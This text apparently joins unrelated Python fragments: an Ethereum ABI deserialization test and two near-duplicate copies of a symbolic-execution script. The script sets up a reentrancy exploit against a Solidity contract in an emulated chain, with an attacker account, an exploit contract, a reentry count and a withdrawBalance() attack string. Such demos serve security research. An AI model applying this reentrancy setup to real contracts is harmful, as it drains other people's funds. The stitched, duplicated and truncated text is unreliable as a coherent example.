def test_function_type(self): # setup ABI for function with one function param spec = 'func(function)' func_id = ABI.function_selector(spec) # build bytes24 data for function value (address+selector) # calls member id lookup on 'Ethereum Foundation Tip Box' (see https://www.ethereum.org/donate) address = ABI._serialize_uint(0xfB6916095ca1df60bB79Ce92cE3Ea74c37c5d359, 20, padding=0) selector = ABI.function_selector('memberId(address)') function_ref_data = address + selector + b'\0'*8 # build tx call data call_data = func_id + function_ref_data parsed_func_id, args = ABI.deserialize(spec, call_data) self.assertEqual(parsed_func_id, func_id) self.assertEqual(((0xfB6916095ca1df60bB79Ce92cE3Ea74c37c5d359, selector),), args)
contract_account = m.solidity_create_contract( contract_source_code, owner=user_account) # Not payable m.world.set_balance(contract_account, 1000000000000000000) # give it some ether exploit_account = m.solidity_create_contract(exploit_source_code, owner=attacker_account) print("[+] Set up the exploit") exploit_account.set_vulnerable_contract(contract_account) exploit_account.set_reentry_reps(2) print("[+] Setting attack string") #'\x9d\x15\xfd\x17'+pack_msb(32)+pack_msb(4)+'\x5f\xd8\xc7\x10', reentry_string = ABI.function_selector("withdrawBalance()") exploit_account.set_reentry_attack_string(reentry_string) print("[+] Initial world state") print( f" attacker_account {attacker_account.address:x} balance: {m.get_balance(attacker_account.address)}" ) print( f" exploit_account {exploit_account.address} balance: {m.get_balance(exploit_account.address)}" ) print( f" user_account {user_account.address:x} balance: {m.get_balance(user_account.address)}" ) print( f" contract_account {contract_account.address:x} balance: {m.get_balance(contract_account.address)}" )
#Initialize user and contracts user_account = m.create_account(balance=100000000000000000) attacker_account = m.create_account(balance=100000000000000000) contract_account = m.solidity_create_contract(contract_source_code, owner=user_account) #Not payable m.world.set_balance(contract_account, 1000000000000000000) #give it some ether exploit_account = m.solidity_create_contract(exploit_source_code, owner=attacker_account) print("[+] Set up the exploit") exploit_account.set_vulnerable_contract(contract_account) exploit_account.set_reentry_reps(2) print("[+] Setting attack string") #'\x9d\x15\xfd\x17'+pack_msb(32)+pack_msb(4)+'\x5f\xd8\xc7\x10', reentry_string = ABI.function_selector('withdrawBalance()') exploit_account.set_reentry_attack_string(reentry_string) print("[+] Initial world state") print(f" attacker_account {attacker_account.address:x} balance: {m.get_balance(attacker_account.address)}") print(f" exploit_account {exploit_account.address} balance: {m.get_balance(exploit_account.address)}") print(f" user_account {user_account.address:x} balance: {m.get_balance(user_account.address)}") print(f" contract_account {contract_account.address:x} balance: {m.get_balance(contract_account.address)}") #User deposits all in contract print("[+] user deposited some.") contract_account.addToBalance(value=100000000000000000) print("[+] Let attacker deposit some small amount using exploit")